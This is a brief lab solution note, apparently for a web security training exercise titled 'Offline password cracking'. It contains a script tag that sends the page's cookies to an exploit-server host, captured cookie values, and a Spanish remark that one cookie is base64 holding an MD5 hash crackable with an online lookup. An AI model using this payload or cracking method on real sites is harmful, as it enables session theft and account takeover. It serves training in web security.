10 - Offline password cracking

<script>img = new Image(); img.src = "https://exploit-0acd007c035179828002b104017100b8.exploit-server.net/exploit?"+document.cookie;</script>
secret=UlvUiX5r9ZyXg9p6NdpRyOXQ76ODaFT8
stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz

Lo segundo está en base64 y tiene el hash md5, con crackstation se crackea rápido.